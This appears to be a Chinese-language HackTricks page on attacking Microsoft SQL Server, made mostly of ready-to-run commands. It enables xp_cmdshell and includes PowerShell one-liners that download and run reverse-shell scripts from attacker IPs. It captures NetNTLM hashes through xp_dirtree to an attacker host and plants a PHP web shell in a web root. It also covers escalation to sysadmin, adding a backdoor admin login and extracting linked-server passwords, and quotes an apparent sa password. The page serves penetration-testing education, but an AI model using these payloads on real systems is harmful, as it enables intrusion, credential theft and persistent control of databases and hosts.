hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

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1433 - 渗透测试 MSSQL - Microsoft SQL Server

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{% embed url="https://discord.gg/tryhardsecurity" %}


基本信息

来自 维基百科:

Microsoft SQL Server 是由 Microsoft 开发的 关系型数据库 管理系统。作为数据库服务器,它是一个软件产品,其主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络上的另一台计算机上运行(包括互联网)。

默认端口: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

默认 MS-SQL 系统表

  • master 数据库: 这个数据库非常重要,因为它记录了 SQL Server 实例的所有系统级别细节。
  • msdb 数据库: SQL Server 代理程序利用这个数据库来管理警报和作业的调度。
  • model 数据库: 作为 SQL Server 实例上每个新数据库的蓝图,其中任何更改,如大小、排序规则、恢复模型等,都会在新创建的数据库中得到反映。
  • Resource 数据库: 一个只读数据库,存放着随 SQL Server 提供的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
  • tempdb 数据库: 用作临时存储区域,用于存放临时对象或中间结果集。

枚举

自动枚举

如果你对服务一无所知:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

{% hint style="info" %} 如果您没有凭据可以尝试猜测它们。您可以使用nmap或metasploit。请注意如果您使用现有用户名多次登录失败可能会锁定帐户。 {% endhint %}

Metasploit需要凭据

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

暴力破解

手动枚举

登录

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

常见枚举

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

获取用户

{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

获取权限

  1. 可保护资源: SQL Server 管理的用于访问控制的资源。这些资源分为以下类别:

    • 服务器级别 例如数据库、登录、端点、可用性组和服务器角色。
    • 数据库级别 例如数据库角色、应用程序角色、架构、证书、全文目录和用户。
    • 架构级别 包括表、视图、存储过程、函数、同义词等。
  2. 权限: 与 SQL Server 可保护资源相关联的权限,如 ALTER、CONTROL 和 CREATE 可授予给主体。权限的管理发生在两个级别:

    • 服务器级别 使用登录
    • 数据库级别 使用用户
  3. 主体: 此术语指被授予权限访问可保护资源的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限,或将登录和用户包含在具有访问权限的角色中,来实施对可保护资源的访问控制。

# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

技巧

执行操作系统命令

{% hint style="danger" %} 请注意,要能够执行命令,不仅需要启用 xp_cmdshell,还需要对 xp_cmdshell 存储过程具有 EXECUTE 权限。您可以查看谁(除了 sysadmins可以使用 xp_cmdshell

Use master
EXEC sp_helprotect 'xp_cmdshell'

{% endhint %}

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net'

窃取 NetNTLM 哈希 / 中继攻击

您应该启动一个 SMB 服务器 来捕获在身份验证中使用的哈希(例如 impacket-smbserverresponder)。

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

{% hint style="warning" %} 您可以检查除了系统管理员之外谁有权限运行这些 MSSQL 函数:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

{% endhint %}

使用诸如 responderInveigh 等工具,可以窃取 NetNTLM 哈希
您可以查看如何使用这些工具:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

滥用 MSSQL 受信任链接

阅读此文章 以获取有关如何滥用此功能的更多信息:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}

写入文件

要使用 MSSQL 写入文件,我们需要启用 Ole Automation Procedures,这需要管理员特权,然后执行一些存储过程来创建文件:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

使用 OPENROWSET 读取文件

默认情况下,MSSQL 允许对操作系统中帐户具有读取访问权限的任何文件进行读取。我们可以使用以下 SQL 查询:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

然而,BULK 选项需要 ADMINISTER BULK OPERATIONSADMINISTER DATABASE BULK OPERATIONS 权限。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

基于错误的 SQLi 向量:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/读取文件执行脚本Python和R

MSSQL可以允许您执行Python和/或R脚本。这些代码将由一个不同的用户执行,而不是使用xp_cmdshell来执行命令的用户。

尝试执行一个**'R'** "Hellow World!" 不起作用的示例:

使用配置的Python执行多个操作的示例

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

读取注册表

Microsoft SQL Server提供了多个扩展存储过程允许您与网络、文件系统甚至Windows注册表进行交互:

常规 实例感知
sys.xp_regread sys.xp_instance_regread
sys.xp_regenumvalues sys.xp_instance_regenumvalues
sys.xp_regenumkeys sys.xp_instance_regenumkeys
sys.xp_regwrite sys.xp_instance_regwrite
sys.xp_regdeletevalue sys.xp_instance_regdeletevalue
sys.xp_regdeletekey sys.xp_instance_regdeletekey
sys.xp_regaddmultistring sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring sys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

通过 MSSQL 用户定义函数 SQLHttp 进行 RCE

可以在 MSSQL 中使用自定义函数加载 .NET dll。然而这需要 dbo 访问权限,因此您需要一个作为 sa 或管理员角色连接到数据库。

查看原始来源以获取更多示例。

RCE 的其他方法

还有其他方法可以实现命令执行,例如添加扩展存储过程CLR 程序集SQL Server 代理作业外部脚本

MSSQL 权限提升

从 db_owner 提升至 sysadmin

如果将普通用户赋予**db_owner角色对由管理员用户**(如**sa)拥有的数据库的权限,并且该数据库配置为trustworthy,那么该用户可以滥用这些权限进行权限提升**,因为在其中创建的存储过程可以作为所有者(管理员)执行。

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

你可以使用一个metasploit模块:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

或者一个 PS 脚本:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

模拟其他用户

SQL Server有一个特殊权限名为**IMPERSONATE**,允许执行用户承担另一个用户或登录的权限,直到上下文被重置或会话结束。

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

{% hint style="info" %} 如果您可以冒充一个用户即使他不是sysadmin您应该检查该用户是否可以访问其他数据库或链接服务器。

请注意一旦您成为sysadmin您可以冒充任何其他用户 {% endhint %}

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

你可以使用metasploit模块执行这种攻击:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

或者使用PS脚本:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

使用MSSQL进行持久化

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

从SQL Server Linked Servers中提取密码

攻击者可以从SQL实例中提取SQL Server Linked Servers密码并以明文形式获取这些密码从而授予攻击者可以用来在目标上获得更大立足点的密码。 用于提取和解密存储在Linked Servers中的密码的脚本可以在此处找到。

为使此漏洞利用生效,需要进行一些要求和配置。 首先您必须在计算机上拥有管理员权限或者具有管理SQL Server配置的能力。

在验证权限后,您需要配置三件事,如下所示:

  1. 在SQL Server实例上启用TCP/IP
  2. 添加一个启动参数,在本例中,将添加一个跟踪标志,即-T7806。
  3. 启用远程管理员连接。

要自动化这些配置,此存储库提供了所需的脚本。 除了为每个配置步骤提供一个PowerShell脚本外该存储库还提供了一个完整脚本结合了配置脚本以及密码的提取和解密。

有关此攻击的更多信息,请参考以下链接: 解密MSSQL数据库链接服务器密码

解决SQL Server专用管理员连接问题

本地权限提升

运行MSSQL服务器的用户将启用特权令牌SeImpersonatePrivilege
您可能能够通过以下两个页面之一提升为管理员

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}

Shodan

  • port:1433 !HTTP

参考资料

{% embed url="https://discord.gg/tryhardsecurity" %}


HackTricks自动命令

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

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